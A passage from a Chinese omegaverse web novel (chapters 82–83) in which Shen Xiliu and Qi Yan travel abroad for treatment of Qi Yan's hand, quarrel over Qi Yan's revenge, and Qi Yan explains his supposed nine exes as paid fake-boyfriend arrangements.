沈溪流的双手被祁厌用领带反绑在后背,从沙发到桌子,他都没有挣扎,非常顺从。 被欲望冲昏头脑的沈溪流感受得很清楚。他趴在桌面上,不停喘气,被泪水模糊的视线,看到原先放在桌面上的检查单掉落一地。 没有人关心,没有人在意。 …… 明明祁厌平时表现得还是那样温柔客气,又在某些细节上发生许多变动。沈溪流原本还能被他的假象蒙蔽,可当意识到以后,就再难无视掉这些细节。 “要走吗?”沈溪流趴在床上,已经累到快睡着了,但在看见祁厌起身时,还是强撑着疲惫,撑起身体问他。 现在已经凌晨一点钟了。 祁厌穿着衣服,修长的手指正在扣着衬衫扣子,声音温柔:“嗯,得回家了。” 留在这里不行吗? 沈溪流张了张嘴,没能开口,可是看到祁厌要离开时,又下意识地伸手去抓他的手:“祁厌,你能不能不要离……” “啪!” 手被甩开了。 “别碰。” 祁厌眼底流露出些许难以掩藏的厌恶。 沈溪流一脸错愕地望着他。 但很快这样冷漠的表情就消失了,仿佛只是虚幻的错觉。祁厌收回右手,说:“对不起,我不太喜欢别人碰我的手。” “我先走了,下次再见。” 祁厌捡起外套,走出房间,轻轻合上门。 “……” 沈溪流从来没有在祁厌的脸上看见过那种表情,简直就像幻觉一样。他盯着自己被甩开的手,有些微微发麻,刚才情急之下,抓的是祁厌受伤的右手。 他仔细想着,祁厌一直以来,都在避免用右手碰触他,连手套也没有脱过…… 沈溪流记忆力很好,那天晚上散步的时候,祁厌无论是碰触他、还是牵手时,使用的都是左手。包括刚才在客厅时,祁厌特意把他的双手束缚在后面,让他无法动弹,好像也是避免接触。 …… 沈溪流很累,但他睡不着了。 一闭眼,祁厌刚才冷漠的表情就会浮现在眼前。 恐惧几乎将他吞没,沈溪流起床翻出自己放在抽屉里的文件。医生说过的话,他全部记得,祁厌的手完全恢复的可能性很小,但也不是没有,最差也能恢复到百分之九十…… 沈溪流记得再过几天,祁厌就得出国继续检查手的恢复情况。或许,他可以和祁厌一起出国,有很多事情,需要当面和威尔逊医生谈。 他必须,一定要让祁厌的手恢复好。 被甩开的手在颤抖,沈溪流太过于惊慌了,以至于焦虑起来,啃咬着手指,紧盯文件。 第82章 前世 吵架(关键剧情) 计划比想象中的更加顺利, 祁厌本以为还要费些工夫,才能勾起沈溪流的愧疚心,把他支到国外去。 结果他才刚开口, 沈溪流就迫不及待地询问,可不可以和他一起出国? 送上门的好机会, 祁厌当然不会错过, 问了他几句工作方面的问题,知道沈溪流会提前处理好以后,很快就微笑着同意了。 对面的人好像松了口气, 祁厌察觉到了,也全然当作没有发现。 一切都相当顺利。 这次的检查和治疗耗时比较长,起码需要十天左右, 他们的时间相当充足, 上飞机前,祁厌给张衡一发了条信息以后,就关掉手机。沈溪流并没有手机不离身的习惯,想要让外界联系不上他,祁厌的办法很多。 “祁……”沈溪流原本有话想要对祁厌说,但转头看见他已经闭上眼睛, 以为他在睡着, 便没有打扰他, 只是侧着脸, 一直看着祁厌, 有些走神。 沈溪流目光落在祁厌始终戴着手套的右手,他猜想这次旅程或许不会那么轻松,很多不想面对的事情,都必须面对, 但是,结果好像出乎他的意料。 这次的出行,反而是他人生中最轻松的一段时间。 原本只计划待到祁厌的事情结束,结果最后反而在国外待了一个月才离开。 这段时间没有任何人来打扰他们,只有两个人的世界,他一直陪着祁厌治疗。连威尔逊医生也误会沈溪流是祁厌的omega,在感慨难怪他之前一直这么关注,时不时打电话过来询问情况。 沈溪流看了一眼病房里的祁厌,没有否认。 “要出去逛逛吗?”手的恢复情况还可以,医生安排了新的治疗方案,祁厌用不着每天在私人医院里待着,便询问道。 沈溪流自然不会拒绝,并且私下做了个旅游指南,原本他对这些没有任何兴趣,但听医院的一个小护士调笑说,难得两个人一起来了,那么作为情侣就应该去体验一些活动。 “你说得有道理,之前过来一直忙着学习,都没有时间去到处逛逛。”祁厌也笑道,并没有否认他们是情侣的话。 一旁的沈溪流当场愣住,随即差点被喜悦冲昏头脑,明明不久前还在忐忑不安,但现在只要祁厌稍微对他温柔一些,察觉到的不对,都能被抛之脑后。 即使每次他想要试探祁厌是不是真的已经默认这段关系,结果总是会被打断,祁厌从未正面回答过,沈溪流也甘之如饴,心情也相当好。 逛知名博物馆时,沈溪流也相当有兴致给祁厌讲解,不管是什么展品都有所了解,祁厌觉得还挺有趣,以前都没发现沈溪流这般能说会道,看来只是他不想说而已。 祁厌其实没什么艺术兴趣,小的时候或许有那么一点,但多年来奔波于生活,早已抛弃,不过在看到某件展品的时候,他还是顿住了。 “怎么了?”沈溪流一直注意着祁厌的心情,原先都挺平淡的,但在看到这件展品时,他的心情好似一瞬间变得阴沉。 “没什么。”祁厌摇了摇头,对他微笑,“我们继续逛吧。” 他全程都牵着沈溪流的手,右手插在大衣兜里,步伐沉稳地朝着下一个展品走去,此刻的他们看起来和寻常情侣没有区别。沈溪流很喜欢这种感觉,瞥了一眼那件展品,就记在心里。 后来通过调查,沈溪流才知道那件珍稀展品原本是一对,博物馆里展示了其中之一,而另一件被夏家珍藏,只是被易鸿立送给别人,换取更多的人脉和资源。 祁厌没有过多展露情绪,因为是出国检查手伤,江与青并没有给他安排工作,只是让他安心治疗,闲暇之余也就陪伴沈溪流。 私人医院的夜晚挺清静,高档病房和星级酒店的房间几乎没有什么区别,祁厌坐在床边取出抽屉里的手机看了一眼,沈溪流对他没有任何戒备,就连手机密码都形同虚设。 解决问题,祁厌瞥了一眼睡在床上的人,凌乱的黑发散在枕头,他的脸颊湿红,漂亮的面容上还残留着激.情后的余韵,疲惫入睡的沈溪流毫无以前那副高傲冷漠的姿态,考虑到祁厌的右手不方便,刚才几乎是对方让他做什么就做什么…… 祁厌把手机放回抽屉,取出自己的药和烟,打水喝完药,心不静地去阳台抽了几根烟。抽烟有害健康,但能减轻精神上的压力,手指的火光晦涩,烟雾随着风吹散。 真陌生,简直和以前判若两人,祁厌心想。 …… 也许是老天爷都看不得沈溪流这日子过得太舒服,他们在餐厅用餐的时候,搂着一个金发omega的路人停住了脚步,一脸惊讶地叫住祁厌:“祁厌?” 路人是江与青的堂哥,他没注意到坐在祁厌对面的人是谁,只注意到对方是个omega。这下子,他的表情变得微妙,毕竟在江家人的眼里,祁厌和江与青是情侣,结果现在祁厌居然背对着江与青和其他omega约会,共用晚餐? 于是,他立即笑了起来,用一副懂得都懂的过来人表情说:“嘿嘿,情人……是吧?放心,我不会告诉我堂弟的,你放心。” 祁厌倒是没有太多异色,平静地开口:“江卓先生好久不见,请不要误会,我只是和朋友共用晚餐而已。” 沈溪流原本拿着酒杯的手一顿,他感到难以呼吸。 “嗐,大家都是alpha,我还不知道你。”江卓嘴上这样说着,还想要看一眼和祁厌共用晚餐的omega,只是看一眼就被满脸寒霜的沈溪流吓到了。 “沈……沈……沈溪流?”江卓瞪大眼睛,完全没想到祁厌是在陪着沈溪流用餐。 “江卓,许久不见,你这么会挑时间,打扰别人用餐的心情吗?”沈溪流原本的好心情,在被他撞见的时候,就彻底被破坏了,自然不会有什么好脸色。 如果只是普通人,江卓还不害怕,但沈溪流这人太难招惹,他不敢得罪,匆忙道歉以后,就离开了。 但这人的出现,也更加让沈溪流意识到,他不是祁厌的正经恋人,明面上江与青才是…… 这次意外的相遇,祁厌并没有多在乎,依然淡定地用餐,顶多私底下提醒江卓,别把这件事情告诉江与青,他还不想被对方知道他和沈溪流的关系。 沈溪流发现祁厌真的很擅长给他看到希望,又在他以为要成功的时候,将最后一丝希望碾碎。 “祁厌……”沈溪流最终还是没忍住开口,他用手背遮挡着眼睛,喘息的声音低声问道,“你究竟把我……当什么了?” 他的声音带着一丝哽咽,痛苦和欢愉的情绪在拉扯,身心感觉到的事物完全不一样。沈溪流期待着祁厌给他一个回答,但祁厌始终沉默着,没有回答他。 所以,其实现在的一切依然还是在报复吧? 他不敢问了,害怕得到的答案不是心中所想。 一个月的时间,足够解决一切。祁厌盯着他颤抖的后背,估计等回国,沈溪流就能发现真相,然后被真相引发愤怒,来找他报复。 戏弄沈溪流的代价,估计会相当惨烈。 好在江与青那边的项目已经敲定,不会轻易再变;易家现在也注定完蛋了,易鸿立只有死刑这一条路;沈溪流如果想要报复,找他一个人便够了…… 等到回国的时候,一切都尘埃落定。 刚下飞机,祁厌便以有事在身为由,先和沈溪流分开后,就把所有事情都安排好,等着沈溪流知道易家的事情以后,来找他算账。 不过过了好几天的时间,沈溪流人还没来,游弋先来了。 “哦豁,厉害啊,祁哥。”穿着潮流时尚的少年拉开他身旁的高脚椅,让吧台后的叶澄澄给他倒了杯橙子,“能把我表哥玩得团团转的,你是第一个人!” 他嘻嘻哈哈地笑着给祁厌比了个大拇指。 祁厌喝着酒,表情没什么变化:“你过来是想要说什么?” “没什么哦。”游弋喝着橙子,笑道,“你把易家整得这么惨,应该做好心理准备,我表哥不会轻易放过你吧?他的手段可是很狠哦,轻则半死不活,重则牵累……你身边人。” 他意味深长地说着,向来张扬肆意的少年,眼神相当锐利。毕竟也是出自于大家族的子弟,看着再无害的少年,心机也不浅。 “你是替他来警告我的?”祁厌瞥了游弋一眼,这一次,无论做什么,他都不会再牵连身边人,“我等着他来找我。” 祁厌喝完酒,没能走掉,原本是打算最后一次来玩,但被徐浪浪等人强行留下,一起玩游戏。 “哟呵,祁哥,你的运气真差,又转到你了!”游弋嘻嘻哈哈地笑着说,他们在玩真心话大冒险,“快快快,你选什么?我上网搜搜看,能找到什么恶整人的大冒险!” 我命中和你们沈家的人犯冲吧?祁厌难得在心里吐槽一句,听到游弋的话,哪里还敢选大冒险,直接说:“我选真心话。” “哦?”游弋的眼睛弯得更厉害了,他把手机倒扣放在桌面上,“那告诉我们,你现在喜欢的人是谁吧?不可以说谎哦,这是真心话!” 祁厌:“……” 按理,他应该说江与青的名字,但是他说不出来。沈溪流的脸在脑海里一晃而过,祁厌曾经喜欢过,但现在已经不喜欢了。 “现在没有喜欢的人。”祁厌很平静地说,游弋加了限定词“现在”,那答案便是如此。 “真的假的?”在场的人可是都知道他和江与青是恋人,这话一出,众人有些惊讶,但很快就略过这事,继续玩。在场的情场浪子不少,不缺他一个。 大概是祁厌的运气真的很糟糕,连续中奖好几次,被人追问了很多问题,比如喜欢的omega类型、个人的恋爱观、最难忘的恋爱经历…… 问到后面,祁厌人都有些麻木了,直言让他们少对别人的情感问题这么感兴趣。 “行吧,那就不问了。”游弋拿起手机,反正也问得差不多了,“我先去上个厕所,回来再继续玩。” 啧,祁厌的所有选择,都和沈溪流没有半毛钱关系,他甚至能直言沈溪流和祁厌喜欢的类型截然相反,某位表哥还是别惦记了…… 祁厌没玩太久,差不多十二点左右就离开了,输得太多,也喝得太多,好在他酒量好,在外面被风一吹,人就清醒许多。 不过今天确实是他的倒霉日,回到楼下才想起电梯坏了,只能徒步爬四楼。 结果刚到四楼,就一眼看到蹲在他门口的身影,正做着平时绝对不会做的事情,用手扣着门板,嘀嘀咕咕地不知道在说些什么。 “……” 祁厌一眼认出来是谁,他开口问道:“沈溪流,你来做什么?” 一听到他的声音,沈溪流的背影僵硬一瞬,但很快就反应过来,蹭地站起身,直勾勾地盯着祁厌,说:“我来找你!” 原本还以为沈溪流总算来算账,但祁厌一看他脸颊微微泛红,明显带着醉意,就知道他喝多了,难怪会做出蹲在别人家门口的行为。 “你喝了多少酒?”祁厌皱着眉头问道。 “就两瓶,不多。”沈溪流也皱着眉头说,靠在祁厌家门板上,有些嫌弃地抱怨道,“你住的都是什么破烂地方,连电梯都是坏的,楼道破烂,到处都是脏兮兮的,还有人在楼梯里扔垃圾,倒水……” “我没有邀请你上来。”祁厌心情不耐,打断他,“过来,我现在送你回去。” 沈溪流酒量不好,两瓶足够他醉得不省人事,这种状态还敢在外面走,是生怕自己不会出事吗? “走。”祁厌有些烦躁地上前抓住沈溪流的手,却没拽动。 他回头一看,沈溪流另一只手用力拽着门把,胸口在剧烈起伏,眼眶泛红地瞪着他,声音冷冽:“祁厌,你就那么讨厌我,连门口都不愿意让我待着是吗?” 明明上次就把江与青邀请进家门了,结果现在连门口都不让他站!他有这么让祁厌恶心吗?连家门口都不准待着! “你现在喝醉了,我只是让你回家。”祁厌道,沈溪流这醉酒的状况越来越失态了。 第一次酒醉,看起来还挺清醒;第二次把他认错了,也算听话;这第三次,却过于难缠。 “回家?”沈溪流咬着这两个字,嗤笑一声,眼眸变得清明,又带着一抹戾气,清冷孤傲的脸藏不住阴霾。 “你都不在,我回去做什么?祁厌,你究竟要耍我到什么时候?玩弄我很有趣吗?” 祁厌盯着沈溪流看起来很清醒的模样,眯了眯眼,刚想要放开他的手,就被沈溪流反手拽住,非常用力地抓着手腕。 他索性放弃甩开,笑了起来:“沈溪流,既然你知道我在耍你,在玩弄你,那还来找我做什么?” 他不过是以牙还牙以眼还眼罢了。 “你把我当替身,我把你当玩具,这不是理所当然的事情吗?”祁厌往前走一步,放低的声音有些暧昧诱惑,好似情人在耳边呢喃,“你很喜欢我的脸吧?毕竟和易扬很像,看我干.你的时候,是不是将我看成……” 沈溪流的瞳孔蓦地一缩,好像有些不敢相信祁厌会这样说话,下意识甩开祁厌的手,把他用力推开:“闭嘴!祁厌,你别故意说这些话来糟践……” “你急什么急,先把我当替身的是你吧?我说的只是你的心声。”祁厌无所谓地摆手笑道,“你今天来,是为了帮他找我麻烦……” “祁厌,你是白痴吗!” 沈溪流气急地骂出声:“谁把你当替身了!你难道就听不出来我是故意气你吗?你哪里和他长得像?易扬他配吗?那个蠢货!” 如果放在平时听到这话,祁厌顶多当作沈溪流在狡辩,但听见他真心诚意地在后面骂了易扬两句,不得不说,饶是祁厌,也听宕机了一瞬。 毕竟正常找替身的人,不会反过来说“白月光”不配,且是个蠢货。 而且沈溪流还没停止,他好像要气死了,完全脱离平时孤傲的姿态,脸颊薄红,多了些许鲜活的烟火气,眉眼间笼着薄怒,眼神锐利:“你有点自知之明好不好?你们哪里长得像?怎么,难道还要我来给你指出你们的不同点是吧?” “行,我们来仔细辩驳一下,找找不同!” 沈溪流气极反笑,从兜里取出手机,打开照相机,怼到祁厌的脸上,冷声说道:“你自己看看,你的眼睛是不是比他更漂亮?那家伙可没有你这么会骗人的眼睛!而且你的眉峰明显比他更凌厉上扬,只是平时被碎发挡住,才显得柔和,给你机会一脸温柔地去骗人;还有你的鼻子也比他更加高挺帅气,嘴唇的唇线更清晰,笑起来的弧度更温柔,脸部的轮廓明显更加柔和清晰……” “还有最重要的一点!你的身高比他高十五点七厘米,那家伙虚报身高,说是一米八,实则比我还矮三厘米!” “你说说看,那个少我三厘米的矮子,我凭什么喜欢他?!”沈溪流平时总是一副懒得说话,整天冷着脸的姿态,就连在国外那段时间,也是顶着清冷的姿态和祁厌闲聊。然而此刻积攒许久的愤怒彻底爆发出来,让他好像变成了另外一个人。 “等等,沈溪流,你!” 祁厌被他的行为和所说的话打得措手不及,整个人都呆愣在原地,好不容易才回过神来。把沈溪流怼到脸上的手机拉开,才得以见到他鲜活而愤怒的生气模样,一时之间,居然有些哑语。 “……怎么样?够了吗?还要我继续给你指出来吗?如果你想要,我可以给你找出一百个,一千个不同点!”沈溪流已经全然失去平时清冷自持的姿态,他的理智和礼仪规范、得体、品德、素养等等全部抛之脑后。 他的额头甚至带着细密的汗水,凌厉的眼神相当明亮而充满攻击性,抓着手机的修长手指太用力,以至于指节泛白,就连白皙的脖子也气得泛起粉色,挺直的肩膀在细微颤抖,藏着汹涌的怒火。 祁厌几乎移不开眼睛,直到背后传来一声轻响,他才反应过来,猜到可能是争执的声音太大声,导致邻居听见了。 他索性抓着沈溪流的手,深吸一口气:“……沈溪流,我们进去再说,别让人看笑话了。” “笑话?我现在就是个笑话!”沈溪流冷声嘲讽道,“不进去,我们就站在这里说完,反正我也没资格踏入你家的大门!” 他还记着祁厌刚才赶他走的事情。 祁厌:“……” 他有些头疼地按了按额头,低声提醒:“会被邻居听见的,这里的隔音不好。” “那就随便他们听啊,反正我都这么丢人了,还怕被别人听见看见吗?”沈溪流寒声说道。 祁厌:“……” 他索性伸手从后面绕过捂住沈溪流的嘴,掏出钥匙,强行把挣扎的人推进门里,再咔嚓一声关上。 要吵就进来吵,沈溪流不住这里,不要脸了,他还要! “沈溪流,你别闹了。”祁厌被沈溪流不小心踩了一脚,疼得呲牙咧嘴,把他给放开了。 沈溪流抹着嘴,靠着鞋柜,冷冷瞪他:“谁让你堵我嘴,还把手指插.我嘴里!” 祁厌反驳:“是你挣扎要咬,我才不小心插进去。” “呵,那我咬了吗?”沈溪流嗤笑。 确实没咬,手指上一片水渍,却没有牙印。祁厌的心情很久没有这么烦躁了,伸手打开灯。 他深吸一口气,抓了抓头发,露出凌厉上扬的眉峰,就如沈溪流所说,的确比平时的样子多了些侵略性:“沈溪流,你到底想要做什么?” “我想要做什么,你难道不知道吗?”沈溪流直视他,眼神如利刃锋利,“祁厌,你报复够了吗?还要我再继续给你时间吗?如果你想要继续报复下去……我接受!但你总要给我一个期限吧?” 他说到后面,声音有些急促,侧着脸,用手背狠狠抹了一把,继续坚定地说道:“过去的事情已经发生,不可能再改变,我也在拼命想办法补救了!你总该给我一个机会弥补吧?明明我都没有继续和你算那些破事!” 祁厌有些心烦意乱,听到后面那句,还是皱了下眉头:“你是说哪些误会?”他们之间有多么多误会吗? “什么误会?”沈溪流盯着他,一字一顿地说,“我指的是你曾经交往过九个前任的那些破事。” “???!!!” 祁厌一脸惊愕:“等等,我什么时候交过九个前任了?!” 为什么连他都不知道?! 说到这事,沈溪流便忍不住嘲讽:“呵呵,怎么,你连自己有过多少任都不知道吗?行啊,我给你数数,十七岁时上高二,和隔壁班的女性omega,交往半个学期,对方转学离开;十八岁高三,和低年级的男性beta交往到毕业才分手。” “十九岁以后,更加不得了,先是三个月内换了两任,然后又和一对双胞胎兄弟同时交往!”沈溪流越说越来气,“半个月后分手,立马又找了新的,谈了一个星期不到,我没给你算进去;接着甚至还同时谈三个,可把你能的……” 现在还得加个江与青,无论怎么排,他都在十任以后。沈溪流感觉自己的尊严被狠狠踩在脚底下,气得心慌,堵死。他的嘴唇微微颤抖,反正他就是接受不了喜欢的人有那么多前任,还……同时交往!!! 沈溪流简直气死了,他这辈子就喜欢过祁厌一个人,结果……事与愿违。 所以,沈溪流真的不理解,自己为什么会喜欢上祁厌?他倒是宁愿只是信息素的影响,等信息素消失了,一切都回归原点!偏偏不是,沈溪流知道,他就是爱上祁厌了,明明对他的底细这么了解,知道这人不能喜欢,却还是该死地喜欢上了! 祁厌听着他一一列举,所有几乎快要遗忘的记忆都被唤起来了,脸色微变:“不是,你听我解释!” 他知道在签订合同之前,对面已经对他进行过调查,否则也不会找上门来。当时的祁厌完全不在意这些,现在却没想到好几年前的事情,也在其中,曾经不在意的事情成了如今的催命符。 “行,你说,我听着。”沈溪流强制自己恢复冷静,尽量心平气和地听他讲,“反正只要你别说什么‘我和他们都是玩玩,只对你是真心’的渣a语录,就行了。” 多少依然带着点阴阳怪气,即使人喝醉了,愿意听人话了,这嘴还是不饶人。 祁厌揉着太阳穴,头疼:“喝醉了,你就别给自己乱加戏!”又不是江与青那种喜欢看狗血剧的人。 沈溪流冷笑:“只是预防万一。” 他吸了口气,表情严谨,眼神甚至比平时还要清明,要不是脸颊熏红,根本看不出是喝醉酒的人。 “祁厌,你觉得人应该是论心不论迹,还是论迹不论心?” 祁厌其实是沈云殊选的,但如果沈溪流没有点头,沈云殊也无法强迫他。早在最开始,沈溪流就对祁厌的背景有所了解,沈云殊做事情很详细,该查的、不该查的,全部安排人查了。 所以沈溪流了解祁厌以后,便不想有过多关系,维持着合同关系,各取所需就好,只是后来事情失控了…… “这一次,只要是你说,我都信。” 沈溪流垂着眼帘,调出祁厌的资料,将手机递给他。 祁厌只是扫视几眼,便感到一阵默然,没有做虚弄假,没有任何错误,调查者完全是站在第三者角度进行叙述。 上面的事情都是他做过的。 说真的,如果不是自己就是当事人,祁厌看了这份资料,也不会相信自己。 毕竟,他本来就不是什么纯洁无辜的善良人。 祁厌的过去没有那么光鲜亮丽的躯壳,丢掉这唯一能看的外表后,他没有任何能够拿出手的东西。 他很小就出来独自生活,在徐哥的帮助下,易鸿立和宋意礼的监视下苟活;少年时期,也曾经不甘叛逆过,做过很多糟糕事情,更因为愤怒而反击过,但结果不言而喻…… 这样看下来,祁厌发现自己唯一能解释的误会,居然只有那九个所谓的前任。而且还得是在沈溪流论心不论迹的情况下。 毕竟在这些特定的时间里,从某种角度来看,那些人确实是他的男/女朋友。 第83章 前世 难堪与情诗 “三百块钱。” 祁厌一开口就让沈溪流愣住了, 他甚至没有反应过来,什么三百块钱? 在他的认知里,这三百块钱还不足以收买祁厌做男朋友, 太廉价了。起码沈溪流这辈子都没花过这么少的钱,就算是卡被冻结、只能蜗居在小房子里的那一个月, 他也没过得这么惨。 祁厌没敢看他, 垂着眼帘深呼吸,眼底闪过一抹难堪,但很快消失, 继续平静地说道:“加每天的早餐。” 那是祁厌最不想回忆的过去。原本以为自己现在已经从中走出,但真要开口说出来的时候,才发现压根没有走出去, 依然沉重到不想提起那些事情。 太难堪了, 尤其是对着沈溪流说出来。但对方愿意听,那他就不会闭着嘴,纵然说出过去的事情会让自尊心感到刺痛。 “那所学校的环境不是很好,她当时刚转校过来,经常受到某些人骚扰,我帮过她一次。后来为了杜绝继续被人骚扰, 所以用三百块钱加交往期间给我带早餐, 让我做她的男朋友……” 然而事实就是沈溪流不敢想的穷逼生活。从初中毕业的祁厌渡完叛逆的时期, 勉强考上一所高中, 虽然条件不好, 但他仍想要证明自己,想要成为一名医生,不愿意对易鸿立低头,也不想去麻烦生病的母亲。 幸好徐哥知道后, 给他交了学费,还想给生活费,只是祁厌没有收下。徐哥对他够好了,收留他不说,还给他打工赚钱的机会,手里还有些钱,祁厌原本觉得应该没问题。 偏偏屋漏偏逢连夜雨,高二开学时,学校新来的领导突然进行改革,所有学生强制住校,班里就要交补课费、住宿费、水费、班费等等费用…… 没有时间赚钱的祁厌立即变得捉襟见肘了,青春期的少年总是要脸,更别说祁厌那时候看起来冷漠阴郁,性格尖锐又暴躁,根本不想去找别人帮忙,所以差点连这些费用都交不起。 好在那个女生来找他帮忙了。 祁厌现在想来,感觉那个女生有很大的可能是发现他的拮据,所以才会找他帮忙。 “其实仔细说来,她的行为,和你之前没有两样,我们各取所需罢了。” 注意到沈溪流脸上的愕然,祁厌估计他这辈子都没想过三百块钱和交往期间的早餐就能找自己当假男友兼任保镖。 人在难堪的时候,总想找点事情做。 祁厌脱掉鞋子,从鞋柜里取出拖鞋,给沈溪流也拿了一双没穿过的拖鞋放在地上,朝着屋内走去,边走边继续解释。 沈溪流抿了抿唇,表情有些复杂,换上拖鞋,跟着祁厌走进客厅。 “其他人也大差不差,我那时候对谈恋爱没兴趣,有钱什么都好说。” 祁厌从冰箱里拿出牛奶倒进杯子里,加热好后递给沈溪流,尽量用轻松的语气说着过去的事情。 第二位客人稍微特殊一些,主要是想找他帮忙补习,又死要脸,不想被人知道自己在努力学习,假称在和祁厌谈恋爱。看似荒废学业,实则每次考试以后都维持着“没想着好好学习,但随便考考就进步了”的人设。 不过也是高考结束以后,当时祁厌因宋意礼的阻碍,没能参加其中一场考试导致高考失败。对方不知道怎么知道他放弃复读的计划,特意找过来告白,希望他能够继续复读参加高考,祁厌才知道对方喜欢自己。 但这点祁厌没有告诉沈溪流,略过以后继续讲:“高考结束后,我就去徐哥的酒吧继续打工。” 祁厌坐在沈溪流的旁边,本想点根烟。但拿出来以后,他瞥了正在喝牛奶的沈溪流一眼,丢在桌上没抽,只是咔哒、咔哒地拨弄着打火机,看幽蓝色的火苗跳跃飞蹿起来。 高考失败以后,祁厌就知道继续复读下去也没有用,宋意礼不会允许他危害到易扬的存在,索性放弃高考,另寻他路。 在他放弃以后,没过多久,原本监视他的人就一个个离开了。易鸿立还找人来对他的“堕落”表示失望,差点没把祁厌恶心吐。 “后面那些‘前任’也是一个朋友介绍的,类似于真人扮演的生意,一个月差不多能赚不少钱,我当时很缺钱,就接了。”其实当时还有能够赚得更多的,只要愿意出卖身体。但祁厌对这些不感兴趣,也没穷到这种地步,所以点到为止。 做这种事情多少有点不好告诉别人,等家里的情况好了许多以后,祁厌就果断不再接,也没有和任何人谈论这种事情。 对于祁厌来说,那些人从来不是曾经的恋人、前任,而是普通的客人罢了。 “调查资料确实没有错,虽然我不认可,但是从第三者角度来说,他们的确算是‘前任’,信不信只能由你了。” 祁厌说完才后知后觉地发现,这句话比起沈溪流刚才说的渣A语录,有过之无不及。 这毫不亚于和别人说:虽然我有九个前任,一成年就混酒吧,甚至吃喝赌玩,但我是个遵守男德干干净净的alpha。 估计会有一大堆人嗤之以鼻,认为这是渣男的狡辩方式。 如果他是沈溪流,也会觉得自己在狡辩,而且还说了过去那么多难堪的事情,不知道对方会是什么想法…… 仿佛在等对方审判一般,祁厌有些烦闷地玩着打火机。 祁厌自认他的过去太糟糕,不愿意细讲。他小时候和净身出户的妈妈一起住在糟糕的地方,每天都要担心生活和周遭的人;后来好不容易和妈妈的亲生父母联系上,终于要被新家人接回去,结果对方却在来的路上出了车祸。 四个亲人,只有坐在后座、被外公保护的外婆活了下来。 他们原本没打算全部过来,可是因为祁厌的一通电话,四个人都来了,也走了三个人。 所以祁厌一直觉得祁戈厌恶他是正常的。虽然外婆活下来了,但车祸带来的伤害太大,没几年也就去世了,祁厌担心他的存在让妈妈发病,便独自离开。 对于祁厌来说,早年糟糕的事情太多,自己也太倒霉,远离家人,对他们来说反而是一种保护。 即使他没有细讲,沈溪流却不是一无所知。过去不在意,没有去想,此刻随着祁厌的讲述,一切都仿佛在眼前具现化。 少年时期的祁厌是什么样? 原本觉得和现在没什么两样,擅长花言巧语,轻易就能讨好一个人。但从祁厌的言语透露出来的却完全不一样。 长年活在监视下的少年冷漠、极端又暴躁得如同一头困兽,疯狂冲撞却逃不出易鸿立和宋意礼的掌心。他在初中的时候也曾闹出很多麻烦事,最后却只剩下无力,发现暴力也无法挣脱挣脱,才选择尝试另一条路,结果高考也失败了。 祁厌现在的性格与过去息息相关,没有人一生下来就是好脾气,擅长察言观色,给人营造出轻松自在的相处环境,是过去的一切塑造了现在的他。 “……” 听完祁厌的话,沈溪流大脑一片空白,感觉到一阵阵揪心,只觉得无比沉重。 他想要冷静又难以冷静下来,只能拼命不看向祁厌,好像知道对方也在焦虑一样,避免用视线给予他压力,这导致他甚至不敢呼吸,担心泄漏出压抑的情绪。 很多事情光从资料上看,是无法意识到真实情况。直到听见祁厌亲口诉说,沈溪流才意识到,祁厌的过去,没有他说得那么轻松。 沈溪流养尊处优惯了,没有亲眼见到过去的祁厌过着什么样的生活,也不会想到他会为了区区三百块钱加早餐去给人当假男友。 此刻,光是听祁厌用无所谓的语气说着过去,沈溪流就感觉到一种致命的窒息感。焦虑、心疼、难过、痛恨、自责、担忧等等复杂情绪充斥着心间,仿佛被阴霾笼罩。 不在意的人过着什么样的生活,沈溪流都不会放在心上。 可当那人是他喜欢的人,就不一样了。 即使知道一切都是幻想,沈溪流依然恨不得自己能够回到过去,改变祁厌的命运。如果能够早点认识祁厌,那就更好了。 如果早一点认识,他可以阻止易鸿立所做的一切,他可以阻止祁厌所受到的伤害,他可以给祁厌创造更好的生活环境,他可以改变祁厌的人生…… 祁厌不该从小活在监视下,在痛苦之中成长,在年少时就为了生活而奔波。 他本该拥有更好的人生,可偏偏一切都被易家毁了。 而现在作为罪魁祸首的宋意礼死了,另一个罪魁祸首易鸿立也已经被送入监狱,根本轮不到沈溪流做什么,祁厌的报复已经结束。 “……对不起。”沈溪流有些无措,开口说道,“在这一点上误会你了。” 祁厌愣了一下,眸光移动到身侧的人,沈溪流的脸颊没有刚才那样红,左眼下的三颗泪痣很晃眼,长长的眼睫毛垂落,遮挡住那双锐利强势的眼眸,隐约有水光浮现。 “算不上误会,在某种程度来说,你还是别轻易信任我比较好。”祁厌移开视线,平静的外表下涌动着激烈的复杂情绪。 沈溪流做得很好,与其信任他这张擅长花言巧语、讨好人的嘴,像现在这样轻易被哄骗,还不如信任手底下的人辛苦查出来的资料。 “我说了,这一次只要你说,我就信你。”沈溪流转过脸来看他,咬了咬泛白的下唇,紧盯着祁厌,深呼吸再次强调地说,“我只信你!” 无论资料上写祁厌做过任何糟糕的事情,他都会选择信任祁厌的理由,在那种处境下,祁厌无论做什么,一定都是有自己的原因。 “……” 祁厌无意识捏紧手里的打火机,沈溪流朝他靠近:“还有一件事情,你得告诉我。” 他不断深呼吸,很明显接下来的问题会比“九个前任”更加难以回答,漂亮的脸也浮现出紧张的表情,眼睛紧紧盯着他,没有平时的强势冷冽,反而涌动着一抹不易察觉的恐惧。 祁厌只看了一眼,便好像看不习惯地移开视线,上身悄悄向后倾斜少许弧度,靠着沙发扶手:“你说。” “别离我这么远!”明明只是很微小的动作,沈溪流却注意到了,直接往前一把拽住祁厌的衣服,整个人都快要贴到他的身上,露出快要哭出来的表情。 祁厌伸手按住他的手,有些无奈地叹气:“我没有离你太远,这不是很近吗?说吧,你想要问什么?” 沈溪流抿了抿唇,克制着自己的情绪,却依然泄漏出来:“Je tadoreà légal de la vo?te nocturne,? vase de tristesse,? grande taciturne, et taime dautant plus, belle……”① “这是写在上面的,你有这么喜欢他吗?” 沈溪流虽然因为那“九个前任”而不想和祁厌有任何接触,否决自身对他的喜欢,但是最让人愤怒的,莫过于他始终无法忘记的初恋情人。 祁厌带着对别人的喜欢,天天和他上床做.爱,还说那么多不要脸的话! 祁厌听他念了一长串听不懂的法语,伸手揉了揉眉心:“那个……能说中文吗?我听不懂。” 听起来好像有点熟悉,但没有任何印象。 沈溪流:“……” 他好像有点反应过来,神色僵硬一瞬,先把原句翻译一遍,才缓慢地说:“情书,七夕节之后的那天,这是刻在那个盒子上的情诗……” 